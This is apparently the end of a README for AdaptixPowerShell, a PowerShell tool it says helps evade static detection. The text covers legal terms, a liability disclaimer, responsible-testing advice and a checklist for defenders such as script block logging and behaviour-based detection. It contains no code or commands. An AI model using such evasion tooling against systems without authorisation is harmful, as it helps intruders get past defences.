- Defensive security research (blue team)
- Malware analysis and study
-
Prohibited Use:
- Unauthorized computer access
- Malicious attacks or harm
- Distribution of malware
- Any illegal activities
- Violations of computer crime laws
-
Requirements:
- Explicit written authorization for testing
- Controlled, isolated testing environments
- Compliance with all applicable laws
- Responsible disclosure of vulnerabilities
- Ethical use at all times
The authors and contributors assume NO LIABILITY for:
- Misuse of this tool
- Damage caused by this tool
- Illegal activities conducted with this tool
- Consequences of unauthorized access
By using this software, you agree to these terms and accept full responsibility for your actions.
-
Always Get Authorization
- Written permission before testing
- Clear scope and boundaries
- Document everything
-
Test Responsibly
- Use isolated environments
- Don't test on production systems
- Have rollback plans
-
Stay Legal
- Know your local laws
- Follow ethical guidelines
- Report vulnerabilities responsibly
-
Continuous Learning
- Security is constantly evolving
- Defenders improve their techniques
- Stay updated on new methods
For defenders and blue teams:
- Monitor PowerShell execution patterns
- Implement application whitelisting
- Use behavior-based detection
- Enable PowerShell logging (Module/Script Block logging)
- Monitor memory allocations
- Implement network segmentation
- Regular security awareness training
This tool helps evade static detection, but remember:
- Behavioral analysis still works
- Memory forensics can detect it
- Network traffic may reveal patterns
- Advanced EDR learns over time
- Perfect evasion doesn't exist
The best defense is understanding the attack.
For issues, questions, or contributions:
- Check the FAQ first
- Review Troubleshooting section
- Open an issue on the project repository
- Follow responsible disclosure practices
Thank you for using AdaptixPowerShell responsibly!
Last Updated: January 2026